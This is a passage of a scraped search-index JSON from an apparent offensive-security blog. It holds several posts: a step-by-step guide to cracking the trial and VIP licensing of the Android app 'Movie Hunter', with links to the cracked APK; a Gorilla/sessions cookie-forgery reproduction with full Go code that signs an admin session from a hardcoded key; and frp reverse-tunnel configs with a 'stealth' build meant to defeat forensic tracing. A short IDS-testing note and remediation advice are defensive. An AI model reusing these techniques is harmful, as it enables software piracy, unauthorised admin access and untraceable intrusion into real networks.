href=\"https://windysha.github.io/2019/04/18/Xpatch-%E5%85%8DRoot%E5%AE%9E%E7%8E%B0App%E5%8A%A0%E8%BD%BDXposed%E6%8F%92%E4%BB%B6%E7%9A%84%E4%B8%80%E7%A7%8D%E6%96%B9%E6%A1%88/\"\u003ehttps://windysha.github.io/2019/04/18/Xpatch-%E5%85%8DRoot%E5%AE%9E%E7%8E%B0App%E5%8A%A0%E8%BD%BDXposed%E6%8F%92%E4%BB%B6%E7%9A%84%E4%B8%80%E7%A7%8D%E6%96%B9%E6%A1%88/\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WindySha/Xpatch?tab=readme-ov-file\"\u003ehttps://github.com/WindySha/Xpatch?tab=readme-ov-file\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis route best fits your current situation. If you like writing Hooks (Java/Kotlin) but dislike editing Smali (assembly), then this route is a great fit. The idea\u003c/p\u003e","title":"Android Reverse Engineering: LSPatch, the Root-Free Patch Mode"},{"content":"LSPosed module: cc-aligned-debugSigned-xxxxQluvnDtXmttQ-.zip\nOriginal app files: DYLS-xxxxX9y9lvWKr5dr-.zip\nAd-free modified version: dyls-3.1.2.0-noAd.zip\nTags: Android reverse engineering, Smali, state machine, logic vulnerability\nPreface: When Hooking Meets a \u0026ldquo;Corpse File\u0026rdquo; In red team security testing, we are used to hooking with Frida or Xposed, precisely modifying memory like a surgeon. But recently, while analyzing an app called \u0026ldquo;Movie Hunter\u0026rdquo; (电影猎手), I ran into an interesting confrontation. This experience made me rethink: the highest form of cracking is often not fighting the code logic, but reshaping the data source.\nUsing this app\u0026rsquo;s ad removal and VIP crack as an example, this article walks through the entire process from hooking to hard-patching Smali, to fighting a locally persisted marker (the Tombstone File), and summarizes a general \u0026ldquo;dimensionality-reduction strike\u0026rdquo; methodology for Android reverse engineering.\nPart 1. Case Review: A Cat-and-Mouse Game Over a \u0026ldquo;Free Trial\u0026rdquo; 1. Reconnaissance Phase: Finding the Achilles\u0026rsquo; Heel The target app has a typical commercial logic: **\u0026ldquo;7 free trials, after which a popup forcibly demands an activation code (card key)\u0026rdquo;.\nThrough LSPosed\u0026rsquo;s Layout Inspector and static analysis with Jadx, I located the core control class p092v0.C0963k (post-obfuscation). The core logic is as follows:\n// Pseudocode reconstruction public static int getStartCount() { // Read the startup count from MMKV return MMKV.decodeInt(\u0026#34;startCount\u0026#34;); } public static void hookLogic() { int count = getStartCount(); if (count \u0026gt;= 7) { if (hasValidKami()) { // Verification passed } else { // Trial over, features disabled disableFeatures(); } } else { // Trial period, count + 1 increaseCount(); } } 2. First Attack: The Limits of Hooking Initially, I tried writing an LSPosed module to hook getStartCount and force it to return 0.\nLogically this is sound: always the 0th launch, always in the trial period.\nIn practice, however, I found: the modification did not take effect. Even after changing the return value, the app still said \u0026ldquo;trial has ended.\u0026rdquo;\n3. Deep Analysis: The Hidden \u0026ldquo;Corpse File\u0026rdquo; (Tombstone File) Re-examining the Smali code, it is not hard to spot an easily missed logic branch. Upon detecting the end of the trial, the developer not only records it in MMKV, but also leaves a file on the SD card:\n# Logic reconstruction: check whether WeiXin/dyls.log exists under the Download directory new File(Environment.getExternalStoragePublicDirectory(...), \u0026#34;WeiXin/dyls.log\u0026#34;).exists() This is a \u0026ldquo;corpse file\u0026rdquo;. As long as this file exists, even if you reset the in-memory counter to 0, the app still judges you as an \u0026ldquo;expired user\u0026rdquo;.\nIt is like a zombie: the body is dead (the counter reset to zero), but the tombstone (the file) remains, so death is still the verdict.\n4. Ultimate Kill: Smali Scalpel + Destroying the Evidence With the root cause found, the solution becomes a \u0026ldquo;dimensionality-reduction strike\u0026rdquo;:\nPhysical removal: directly delete /storage/emulated/0/Download/WeiXin/dyls.log to clear the persisted marker. Hard-patching the Smali: instead of relying on a hook framework, directly modify the APK\u0026rsquo;s DEX file. Modify the d() method in C0963k.smali (the method that fetches the count):\n.method public static final d()I .registers 1 const/4 v0, 0x0 # force assignment to 0 return v0 # return directly .end method Result: After repackaging and reinstalling, the app forever thinks it is my first launch, all VIP features unlocked, all ads removed.\nPart 2. General Methodology: A God\u0026rsquo;s-Eye View of the App State Machine Stepping back from this case, how do we turn this experience into a general red team capability? I believe the core lies in \u0026ldquo;state machine control\u0026rdquo;\n1. Mental Model: App = f(State) An app is essentially a state machine. The UI and Functions are merely projections of the State.\nBeginner reverse engineering: modify f(). For example, hook checkPassword() and force it to return True. This is easily countered by obfuscation and hardening. Advanced reverse engineering: modify the State. For example, modify UserBean so the data source itself says you are a VIP. 2. The Three Axes of \u0026ldquo;Source-Strike\u0026rdquo; Tactics When modifying Smali, do not wrestle with complex if-else branching logic — go straight for the source methods (Getters) that fetch the data.\nTarget type Typical method-name signatures Modification strategy (Smali) Corresponding scenario Boolean isVip, isAd, hasRoot const/4 v0, 0x0 (False) const/4 v0, 0x1 (True)\nreturn v0 | Remove ads, bypass root detection, enable VIP |\n| Integer | getVipLevel, getTrialCount | const/4 v0, 0x0\nreturn v0 | Unlimited trial, skip countdowns |\n| Void | initAdSdk, showDialog | return-void | Block ad SDK initialization, forbid popups |\n3. Fighting Persistence: Hunting for \u0026ldquo;Hidden Stakes\u0026rdquo; When in-memory modifications (Hook/Smali) fail, you must check the app\u0026rsquo;s persisted state checks.\nFile stakes: check for inexplicable log files and hidden folders created under /sdcard and /Download. Property stakes: check whether SharedPreferences, MMKV, or a database records fields such as is_banned, first_run_time. Server-side stakes: the device fingerprint (IMEI/Android ID) has been blacklisted. In that case, hook getDeviceId to spoof it. 4. Recommended Red Team Toolchain Reconnaissance: LSPosed (Layout Inspector) —— trace code class names backward from the UI. Analysis: Jadx-GUI —— macro-level logic analysis. Surgery: MT Manager / Apktool —— Smali bytecode-level modification. Verification: Reqable / Frida —— auxiliary verification at the network and dynamic layers. Conclusion Technology is not just for cracking things; it is for understanding the world.\nThrough this analysis of \u0026ldquo;Movie Hunter\u0026rdquo;, what we see is not merely a loophole for free streaming, but the layered logical defenses the developer built to protect their interests (MMKV, Base64 encryption, file markers). And through reverse\nthinking, we can pierce this fog and find the deepest logic of how the system operates.\nKeep Hacking, Stay Curious.\n[Appendix: Smali Modification Cheat Sheet] If you keep forgetting Smali syntax, this little card is worth saving:\nReturn 0/False/Null: const/4 v0, 0x0 -\u0026gt; return v0 (or return-object v0) Return 1/True: const/4 v0, 0x1 -\u0026gt; return v0 Do nothing: return-void .method public static final d()I .registers 1 const/4 v0, 0x0 return v0 .end method ","permalink":"https://www.unc.la/en/posts/penetration/vilq1lv0flels5p5/","summary":"\u003cp\u003eLSPosed module: \u003ca href=\"https://www.yuque.com/attachments/yuque/0/2026/zip/166008/1768392988049-c4b76ec8-dc21-49f7-b06e-bcad8c3225fe.zip\"\u003ecc-aligned-debugSigned-xxxxQluvnDtXmttQ-.zip\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eOriginal app files: \u003ca href=\"https://www.yuque.com/attachments/yuque/0/2026/zip/166008/1768393056530-b3417f5e-1491-4c76-b291-d3eaf9f4a9e5.zip\"\u003eDYLS-xxxxX9y9lvWKr5dr-.zip\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAd-free modified version: \u003ca href=\"https://www.yuque.com/attachments/yuque/0/2026/zip/166008/1768393015639-040c33df-72e6-4a3c-a5c3-71114470f31f.zip\"\u003edyls-3.1.2.0-noAd.zip\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eTags:\u003c/strong\u003e Android reverse engineering, Smali, state machine, logic vulnerability\u003c/p\u003e\n\u003ch2 id=\"preface-when-hooking-meets-a-corpse-file\"\u003ePreface: When Hooking Meets a \u0026ldquo;Corpse File\u0026rdquo;\u003c/h2\u003e\n\u003cp\u003eIn red team security testing, we are used to hooking with Frida or Xposed, precisely modifying memory like a surgeon. But recently, while analyzing an app called \u0026ldquo;Movie Hunter\u0026rdquo; (电影猎手), I ran into an interesting confrontation. This experience made me rethink: \u003cstrong\u003ethe highest form of cracking is often not fighting the code logic, but reshaping the data source.\u003c/strong\u003e\u003c/p\u003e","title":"Android Reverse Engineering in Practice: Attack and Defense of App State Machines, Seen Through Cracking \"Movie Hunter\""},{"content":"A fairly routine testing workflow: the project runs on Go and uses the ubiquitous Gorilla/sessions to manage sessions……\nBackground The first thing I noticed was that the cookie could be base64-decoded — and then decoded a second time……\nThis cookie is a typical encrypted CookieStore session value from gorilla/sessions, matching the format:\n\u0026lt;timestamp\u0026gt;|\u0026lt;base64-encoded-session-data\u0026gt;|\u0026lt;MAC\u0026gt; Where:\nPart 1 is a timestamp Part 2 is the gob-encoded session value, then base64-encoded; Part 3 is an HMAC-SHA signature used to verify data integrity; If we know the secret key (for example this project\u0026rsquo;s hardcoded \u0026quot;changeme\u0026quot;), we can decode/forge/modify the session. B64-decode it, and we get\n1747798569|DX8EAQL_gAABEAEQAABk_4AAAQZzdHJpbmcMCwAJYXV0aF91c2VyCSp3ZWIuVXNlcv-BAwEBBFVzZXIB_4IAAQQBAklkAQwAAQhGdWxsTmFtZQEMAAEFRW1haWwBDAABDUF1dGhlbnRpY2F0ZWQBAgAAACf_giQBBWFkbWluAQVhZG1pbgERYWRtaW5AZXhhbXBsZS5jb20BAQA=|ΨVɯlDۇSY5aI0ǎߌڷӃݮŃQ The red part is the timestamp\n1747798569\nThe green part, base64-decoded again, yields\nPartially readable Id and email fields Probably some uncommon serialization format I wasn\u0026rsquo;t expecting much at first, but while digging through the source code and request details, I happened to spot something that made me stop — the default configuration used a plaintext hardcoded key, \u0026ldquo;changeme\u0026rdquo;, and… leaving that alone would just be wrong.\nSet-Cookie: token=MTc0Nzc5ODU2OXxEWDhFQVFMX2dBQUJFQUVRQUFCa180QUFBUVp6ZEhKcGJtY01Dd0FKWVhWMGFGOTFjMlZ5Q1NwM1pXSXVWWE5sY3YtQkF3RUJCRlZ6WlhJQl80SUFBUVFCQWtsa0FRd0FBUWhHZFd4c1RtRnRaUUVNQUFFRlJXMWhhV3dCREFBQkRVRjFkR2hsYm5ScFkyRjBaV1FCQWdBQUFDZl9naVFCQldGa2JXbHVBUVZoWkcxcGJnRVJZV1J0YVc1QVpYaGhiWEJzWlM1amIyMEJBUUE9fK6oVokvbES7R1MbEVk1YUkwpw6fTJq304Pdbg6lQ1EB; Path=/; So I followed this thread and started the reproduction and deep-dive process.\nSession Signing Mechanism and gob Encoding First, some background. Gorilla/sessions is a widely used library; under the hood it relies on the securecookie module, whose main job is signing the data inside the cookie (encryption is possible, but not enabled by default).\nThe simplest usage looks like this:\nstore := sessions.NewCookieStore([]byte(\u0026#34;changeme\u0026#34;)) The meaning is clear: the cookie is signed with an HMAC-SHA algorithm, but the key is hardcoded in the source. Once it leaks, you\u0026rsquo;ve essentially handed over the signing system\u0026rsquo;s crown jewels.\nAnd once you store structs (such as user profile objects) in the session, things get dangerous. An attacker can construct an identical struct and sign a session themselves.\nHands-On: Forging an admin Identity, Straight into the Backend We set up a backend target lab to run the experiment\nCreate the project: go mod init sessweb Pin the version to match the target environment: require github.com/gorilla/securecookie v1.1.1 Run: go run main.go package main import ( \u0026#34;encoding/gob\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;html/template\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;github.com/gorilla/sessions\u0026#34; ) type User struct { Username string Authenticated bool IsAdmin bool } var ( hashKey = []byte(\u0026#34;changeme\u0026#34;) store = sessions.NewCookieStore(hashKey) sessName = \u0026#34;vmango\u0026#34; sessKey = \u0026#34;auth_user\u0026#34; // Simulated account/password pairs from the database validUsers = map[string]struct { Password string IsAdmin bool }{ \u0026#34;admin\u0026#34;: {\u0026#34;password123\u0026#34;, true}, \u0026#34;user\u0026#34;: {\u0026#34;userpass\u0026#34;, false}, } ) func init() { gob.Register(\u0026amp;User{}) } func main() { http.HandleFunc(\u0026#34;/\u0026#34;, handleIndex) http.HandleFunc(\u0026#34;/login\u0026#34;, handleLoginForm) http.HandleFunc(\u0026#34;/do_login\u0026#34;, handleLogin) http.HandleFunc(\u0026#34;/admin\u0026#34;, handleAdmin) log.Println(\u0026#34;Server running at http://localhost:9091\u0026#34;) http.ListenAndServe(\u0026#34;:9091\u0026#34;, nil) } func handleIndex(w http.ResponseWriter, r *http.Request) { sess, _ := store.Get(r, sessName) user, _ := sess.Values[\u0026#34;user\u0026#34;].(*User) tmpl := `\u0026lt;h1\u0026gt;Index Page\u0026lt;/h1\u0026gt; {{if .}}Hello, {{.Username}}! \u0026lt;a href=\u0026#39;/admin\u0026#39;\u0026gt;Go to Admin\u0026lt;/a\u0026gt;{{else}}\u0026lt;a href=\u0026#39;/login\u0026#39;\u0026gt;Login\u0026lt;/a\u0026gt;{{end}}` t := template.Must(template.New(\u0026#34;index\u0026#34;).Parse(tmpl)) t.Execute(w, user) } func handleLoginForm(w http.ResponseWriter, r *http.Request) { tmpl := `\u0026lt;h1\u0026gt;Login\u0026lt;/h1\u0026gt; \u0026lt;form action=\u0026#39;/do_login\u0026#39; method=\u0026#39;POST\u0026#39;\u0026gt; Username: \u0026lt;input name=\u0026#39;username\u0026#39;\u0026gt;\u0026lt;br\u0026gt; Password: \u0026lt;input type=\u0026#39;password\u0026#39; name=\u0026#39;password\u0026#39;\u0026gt;\u0026lt;br\u0026gt; \u0026lt;input type=\u0026#39;submit\u0026#39; value=\u0026#39;Login\u0026#39;\u0026gt; \u0026lt;/form\u0026gt;` w.Write([]byte(tmpl)) } func handleLogin(w http.ResponseWriter, r *http.Request) { r.ParseForm() username := r.FormValue(\u0026#34;username\u0026#34;) password := r.FormValue(\u0026#34;password\u0026#34;) entry, ok := validUsers[username] if !ok || entry.Password != password { http.Error(w, \u0026#34;Invalid credentials\u0026#34;, http.StatusUnauthorized) return } sess, _ := store.Get(r, sessName) user := \u0026amp;User{ Username: username, Authenticated: true, IsAdmin: entry.IsAdmin, } sess.Values[\u0026#34;user\u0026#34;] = user sess.Save(r, w) fmt.Fprintf(w, \u0026#34;Logged in as %s. \u0026lt;a href=\u0026#39;/\u0026#39;\u0026gt;Home\u0026lt;/a\u0026gt;\u0026#34;, username) } func handleAdmin(w http.ResponseWriter, r *http.Request) { sess, _ := store.Get(r, sessName) fmt.Printf(\u0026#34;handleAdmin: %v\\n\u0026#34;, sess) // present user, ok := sess.Values[\u0026#34;user\u0026#34;].(*User) // absent fmt.Printf(\u0026#34;user: %v\\n\u0026#34;, user) if !ok || !user.Authenticated || !user.IsAdmin { http.Error(w, \u0026#34;Forbidden\u0026#34;, http.StatusForbidden) return } fmt.Fprintf(w, \u0026#34;\u0026lt;h1\u0026gt;Admin Page\u0026lt;/h1\u0026gt;Welcome, %s!\u0026#34;, user.Username) } After logging in, the server puts something like this into the session:\nsess.Values[\u0026#34;user\u0026#34;] = \u0026amp;User{ Username: \u0026#34;admin\u0026#34;, Authenticated: true, IsAdmin: true, } The cookie is named vmango, the struct is gob-encoded, and the key is still the classic \u0026ldquo;changeme\u0026rdquo;.\nSo all we need to do is:\nRegister the struct; Construct the data; Sign it with the same key. Then… copy-paste it into the browser, visit /admin, and sure enough, we\u0026rsquo;re in.\ngob.Register(\u0026amp;User{}) data := map[interface{}]interface{}{ \u0026#34;user\u0026#34;: \u0026amp;User{ Username: \u0026#34;admin\u0026#34;, Authenticated: true, IsAdmin: true, }, } cookie, _ := securecookie.Encode(\u0026#34;vmango\u0026#34;, data, securecookie.CodecsFromPairs([]byte(\u0026#34;changeme\u0026#34;))...) The signature verification passes, the logic runs as usual — no brute force, no injection, and the unauthenticated access is accomplished this elegantly (or rather, fatally).\nThe full exploitation code for generating the cookie is as follows\npackage main import ( \u0026#34;encoding/gob\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;github.com/gorilla/securecookie\u0026#34; // We\u0026#39;ll use this directly ) // User struct as defined in the original application type User struct { Username string Authenticated bool IsAdmin bool } var ( // THE SECRET KEY - this must match the server\u0026#39;s key hashKey = []byte(\u0026#34;changeme\u0026#34;) sessName = \u0026#34;auth_user\u0026#34; // The name of the session cookie (used by securecookie) cookie_key = \u0026#34;vmango\u0026#34; // Initialize a SecureCookie instance. // The first key is for authentication (HMAC), the second (nil here) would be for encryption. // Since the original code only provided one key to NewCookieStore, there\u0026#39;s no encryption. sc = securecookie.New(hashKey, nil) ) func init() { // Register the User type with gob so it can be serialized/deserialized // This is essential for securecookie\u0026#39;s default gob serializer.`` gob.Register(\u0026amp;User{}) } func main() { // Create the admin user object session_key := \u0026#34;user\u0026#34; value := \u0026amp;User{ Username: \u0026#34;admin\u0026#34;, Authenticated: true, IsAdmin: true, } sign_a_cookie(session_key, value) } func sign_a_cookie(Key string, Value interface{}) string { struct_user := make(map[interface{}]interface{}) struct_user[Key] = Value // Use securecookie.Decode to deserialize and verify the cookie value. // The \u0026#39;sessName\u0026#39; is passed as the cookie name, which securecookie might use internally. codecs := securecookie.CodecsFromPairs(hashKey) output, _ := securecookie.EncodeMulti(cookie_key, \u0026amp;struct_user, codecs...) fmt.Println(output) return output } For the core signing logic, refer to: https://github.com/gorilla/securecookie/blob/v1.1.1/securecookie.go#L282\nWhy Does Reproduction Fail in Some Environments? Of course, in some real systems this trick doesn\u0026rsquo;t work, and the reasons aren\u0026rsquo;t hard to guess:\nSome use a dual-key mechanism — encryption + signing together, i.e. a block_key is used + gob encoding validates the struct path and field order; any mismatch and it simply won\u0026rsquo;t decode; The cookie name doesn\u0026rsquo;t match, or the key is wrong, so nothing is hit; In other words, although we\u0026rsquo;ve verified the issue exists, whether it\u0026rsquo;s exploitable in reality depends on luck and the environment\u0026rsquo;s configuration.\nRisk Summary The HMAC key is hardcoded; an attacker can forge signatures and fully control legitimacy Storing structs in the session means the gob encoding can be constructed by an attacker, enabling arbitrary field forgery Encrypted storage is not enabled, plaintext content is exposed, and sensitive fields run naked Remediation Recommendations Don\u0026rsquo;t hardcode the key! Put it in environment variables, or integrate a key management system; Don\u0026rsquo;t stuff structs into the session — a user_id is enough, and look up the rest in the database; Enable encrypted storage; one less layer of readability, one more layer of security; Add authentication mechanisms to the admin backend, such as IP allowlists or two-factor verification. Wrap-Up This case once again highlights a tired-but-true and always-overlooked problem: default configurations are toxic.\nLooking back, Flask suffered this kind of attack long ago, and there\u0026rsquo;s even a tool for it: https://github.com/Paradoxis/Flask-Unsign\nA command-line tool for acquiring, decoding, brute-forcing, and crafting session cookies of Flask applications by guessing secret keys.\nIn Golang gorilla, that middle stretch — gob encoding, securecookie encoding, struct reconstruction, signature generation — looks complicated, but it\u0026rsquo;s merely a different implementation with exactly the same logic. Same soup, different medicine.\n","permalink":"https://www.unc.la/en/posts/penetration/golang-gorilla-session-forgery-analysis/","summary":"\u003cp\u003eA fairly routine testing workflow: the project runs on Go and uses the ubiquitous Gorilla/sessions to manage sessions……\u003c/p\u003e\n\u003ch1 id=\"background\"\u003eBackground\u003c/h1\u003e\n\u003cp\u003eThe first thing I noticed was that the cookie could be base64-decoded — and then decoded a second time……\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2025/png/166008/1747825417253-8441f12b-f947-41a4-a35b-6e3433230875.png\"\u003e\u003c/p\u003e\n\u003cp\u003eThis cookie is a typical encrypted \u003ccode\u003eCookieStore\u003c/code\u003e session value from \u003ca href=\"https://github.com/gorilla/sessions\"\u003egorilla/sessions\u003c/a\u003e, matching the format:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plain\" data-lang=\"plain\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u0026lt;timestamp\u0026gt;|\u0026lt;base64-encoded-session-data\u0026gt;|\u0026lt;MAC\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhere:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePart 1 is a timestamp\u003c/li\u003e\n\u003cli\u003ePart 2 is the gob-encoded session value, then base64-encoded;\u003c/li\u003e\n\u003cli\u003ePart 3 is an HMAC-SHA signature used to verify data integrity;\u003c/li\u003e\n\u003cli\u003eIf we know the secret key (for example this project\u0026rsquo;s hardcoded \u003ccode\u003e\u0026quot;changeme\u0026quot;\u003c/code\u003e), we can \u003cstrong\u003edecode/forge/modify the session\u003c/strong\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eB64-decode it, and we get\u003c/p\u003e","title":"Golang Gorilla/sessions Session Forgery Risk Analysis and Reproduction"},{"content":"frp is a great tool — high performance, stable, and worth using.\nHowever, its configuration file has gone through two format generations (.ini -\u0026gt;.toml), and the options can be somewhat complicated for newcomers.\nWhen project timelines are tight and workloads heavy, you may not have time to figure out what all these options mean in a short period.\nHence this article — written on April 14, 2025; the currently applicable frp version is: https://github.com/fatedier/frp/releases/tag/v0.61.2\nThis article mainly covers:\nBasics: what frp is and how to use it Practical: how to build a reasonably secure intranet tunnel with frp Advanced: how to hide the parameter configuration on the frpc side FRP Basics Visit the frp releases page and download the matching distribution: https://github.com/fatedier/frp/releases/tag/v0.61.2\nI won\u0026rsquo;t write much more here. If other fundamentals are still unclear, please refer directly to the original article: https://www.catcolia.com/blog/202411071542/\nQuickly Setting Up an Intranet Tunnel: a socks5 Proxy Server Side The server needs to open a listening port for the target machine to connect back to.\nAssume the server\u0026rsquo;s public IP address is \u0026lt;font style=\u0026quot;color:#DF2A3F;\u0026quot;\u0026gt;vps_ip\u0026lt;/font\u0026gt;\nbindPort = 7000 auth.method = \u0026#34;token\u0026#34; auth.token = \u0026#34;TOKEN_IS_HARD_To_Guess\u0026#34; transport.maxPoolCount = 5 Startup command:\nfrps -c ./frps.toml For the full syntax, refer to: frps_full_example.toml#L7 Client Side Client configuration\nserverAddr = \u0026#34;vps_ip\u0026#34; serverPort = 7000 auth.method = \u0026#34;token\u0026#34; auth.token = \u0026#34;TOKEN_IS_HARD_To_Guess\u0026#34; loginFailExit = false [[proxies]] name = \u0026#34;plugin_socks5_01\u0026#34; type = \u0026#34;tcp\u0026#34; remotePort = 60101 [proxies.plugin] type = \u0026#34;socks5\u0026#34; username = \u0026#34;USER\u0026#34; password = \u0026#34;PASS\u0026#34; For the full configuration syntax, refer to frpc_full_example.toml Command to run on the client\nfrpc -c frpc.toml Explanation:\nThe auth.token in frp**s.**toml and frp**c**.toml must be exactly identical — this is the authentication password loginFailExit = false is very important. It means: # If the first login attempt fails, exit the program; otherwise keep reconnecting to frps continuously — this is critical for intranet work, so make sure it is set to false. remotePort = 60101 means the server listens on a port that serves as the socks5 proxy port A username and password are set for the socks5 proxy. Usage\nHere we use curl as an example; configuration elsewhere works the same way.\ncurl -x socks5://USER:PASS@vps_ip:60101 http://172.16.1.1:80 curl -x socks5://USER:PASS@vps_ip:60101 http://4.ipw.cn Tip:\nYou can also add\n# If true, traffic of this proxy will be encrypted, default is false transport.useEncryption = false # If true, traffic will be compressed transport.useCompression = false For example\n[common] server_addr = ip server_port = 27000 token = TOKEN pool_count = 50 protocol = tcp health_check_type = tcp health_check_interval_s = 100 [plugin_socks] remote_port = 27010 type = tcp plugin = socks5 plugin_user = USER plugin_passwd = PASS use_encryption = true use_compression = true [common] bind_addr = 0.0.0.0 bind_port = 27000 token = TOKEN heartbeat_timeout = 90 max_pool_count = 100 use_encryption = true use_compression = true Secondary Development: FRP Stealth Enhancement Background ::::color2 Why hide frpc.toml?\n::::\nIn real-world penetration or red team scenarios, exposing frpc.toml directly can leak critical information (such as the server IP, ports, Token, etc.). If the target machine undergoes forensic analysis, plaintext configuration files are easy to discover, creating traceability risk. Normal usage will expose frpc.toml, and the IP and token inside can easily be traced back to you. Therefore, our goals:\nConfiguration stealth: avoid storing frpc.toml in plaintext on disk. Anti-reverse-engineering hardening: increase the difficulty of reverse analysis. Approach Option 1: binary + configuration merge. Merge the frpc executable and frpc.toml into a single file, dynamically release it to memory or a temp directory at runtime, and delete it immediately after execution. Option 2: Go source-code integration. Directly modify the frpc source, hardcoding the configuration into the binary to completely eliminate dependence on external files. Option 3: dynamic injection via environment variables (lightweight). Pass sensitive parameters via environment variables to avoid writing them into a configuration file (requires frp to support environment variable placeholders). In the end, Option 2 was chosen: directly modify the frpc source and hardcode the configuration into the binary, which produced the secondary development project below.\nProject address: https://github.com/hi-unc1e/frp/blob/dev/README.md\n🚀 New features:\n🛠️ Features Configuration-file stealth technique (2025.04.14)\nZero on-disk footprint for sensitive configuration via binary embedding, suited to sensitive scenarios such as red team operations and H-operations.\nMode Startup command Use case Security level Stealth mode (uses embedded configuration) \u0026lt;font style=\u0026quot;background-color:rgba(255, 255, 255, 0);\u0026quot;\u0026gt;./frpc_embeded\u0026lt;/font\u0026gt; Red team ops / APT defense ★★★★★ Fallback mode \u0026lt;font style=\u0026quot;background-color:rgba(255, 255, 255, 0);\u0026quot;\u0026gt;./frpc_embeded -c frpc.toml\u0026lt;/font\u0026gt; Routine testing / debugging ★★☆ 📦 Build Script # Basic usage ./build_stealth.sh \u0026lt;config path\u0026gt; \u0026lt;target OS\u0026gt; \u0026lt;target architecture\u0026gt; ./build_stealth.sh ./conf/frpc.toml linux amd64\u0026#34; # darwin/windows/linux # Build the Linux version ./build_stealth.sh ./01.toml linux amd64 # Build the Windows version ./build_stealth.sh ./02.toml windows amd64 Output description release/ ├── frpc_embeded_linux_amd64 # Linux executable ├── frpc_embeded_linux_amd64.toml.backup # Configuration file backup (for checking which target it belongs to) ├── frpc_embeded_windows_arm64.exe # Windows executable ├── frpc_embeded_windows_arm64.exe.toml.backup # Configuration file backup (for checking which target it belongs to) ⚙️ How It Works Configuration embedding: uses the Go 1.16+ \u0026lt;font style=\u0026quot;background-color:rgba(255, 255, 255, 0);\u0026quot;\u0026gt;//go:embed\u0026lt;/font\u0026gt; directive to embed the TOML file into the binary — pkg/config/load.go#L41 Dynamic loading: at runtime, the embedded configuration is checked first File structure diagram frp-src/ ├── pkg/ │ └── config/ │ └── embedder/ │ └── frpc.toml # where the embedded configuration file lives └── build_stealth.sh # build script └── release/ # build output directory Easter egg: frpc actually also supports command-line startup\u0026hellip; ./frpc tcp --uc --ue --proxy-name test --token TOKEN --server-addr 127.0.0.1 --server-port 7001 --protocol tcp --metadatas loginFailExit=false ","permalink":"https://www.unc.la/en/posts/penetration/np5v8tglxw95ztmk/","summary":"\u003cp\u003efrp is a great tool — high performance, stable, and worth using.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2025/png/166008/1744648570174-90104017-d254-443e-82bf-fbcaec371323.png\"\u003e\u003c/p\u003e\n\u003cp\u003eHowever, its configuration file has gone through two format generations (\u003ccode\u003e.ini\u003c/code\u003e -\u0026gt;\u003ccode\u003e.toml\u003c/code\u003e), and the options can be somewhat complicated for newcomers.\u003c/p\u003e\n\u003cp\u003eWhen project timelines are tight and workloads heavy, you may not have time to figure out what all these options mean in a short period.\u003c/p\u003e\n\u003cp\u003eHence this article — written on April 14, 2025; the currently applicable frp version is: \u003ca href=\"https://github.com/fatedier/frp/releases/tag/v0.61.2\"\u003ehttps://github.com/fatedier/frp/releases/tag/v0.61.2\u003c/a\u003e\u003c/p\u003e","title":"Red Team Essential! Frp Anti-Traceability Enhanced Build"},{"content":"::::info http://www.testmyids.com/\n::::\nTo determine whether an internal network intrusion detection system (IDS) is running properly and effectively detecting potential threats in network traffic, you can take a hands-on approach to verify its functionality. A well-known resource frequently used for this kind of testing is\nhttp://www.testmyids.com/\nThis website is designed for security professionals, aiming to help them assess whether their IDS can accurately identify and raise alerts on potentially malicious activity or non-compliant network requests.\nVisit this website, and the response is:\nuid=0(root) gid=0(root) groups=0(root) Website Characteristics Overview: HTTP protocol, no encryption: The site is served over plaintext HTTP rather than HTTPS, which means the communication content is not encrypted and is easy to intercept and analyze. This setup is ideal for testing purposes, because it allows the IDS to directly analyze unencrypted traffic content, eliminating interference that the encryption layer might introduce. Sensitive content that triggers most IDS: When you visit the site, the information returned by the server contains strings such as \u0026ldquo;uid=0(root) gid=0(root) groups=0(root)\u0026rdquo;. This kind of information simulates the activity of a high-privilege user (such as the root user on Unix/Linux systems), which is typically a key focus of IDS monitoring, since unauthorized access or impersonation of high-privilege users is characteristic of many attack attempts. Therefore, a properly configured IDS should be able to recognize these sensitive patterns and generate alerts or log entries accordingly. Verification Steps: Visit the test website: Using a computer or device inside the internal network, try to visit http://www.testmyids.com/. Remember, since the communication is unencrypted, only do this in a secure testing environment to avoid exposing sensitive information from a real environment. Check IDS alerts: Immediately after the visit, review the alerts or event logs generated by your IDS. An effective IDS should catch this access and record a relevant alert, indicating that simulated high-privilege user activity or similar suspicious behavior was detected. Analyze and adjust: Based on the IDS\u0026rsquo;s reaction, analyze the accuracy of its reports and its response time. If you did not receive the expected alert, you may need to check the IDS configuration, update the rule set, or adjust sensitivity settings. This process helps tune IDS performance and ensures it can respond quickly when real threats appear. ","permalink":"https://www.unc.la/en/posts/penetration/cdmhil5gbt5bocw3/","summary":"\u003cp\u003e::::info\n\u003ca href=\"http://www.testmyids.com/\"\u003ehttp://www.testmyids.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2024/png/166008/1726499743850-2453e0e1-9961-4125-bfd8-f79f50a38195.png\"\u003e\u003c/p\u003e\n\u003cp\u003e::::\u003c/p\u003e\n\u003cp\u003eTo determine whether an internal network intrusion detection system (IDS) is running properly and effectively detecting potential threats in network traffic, you can take a hands-on approach to 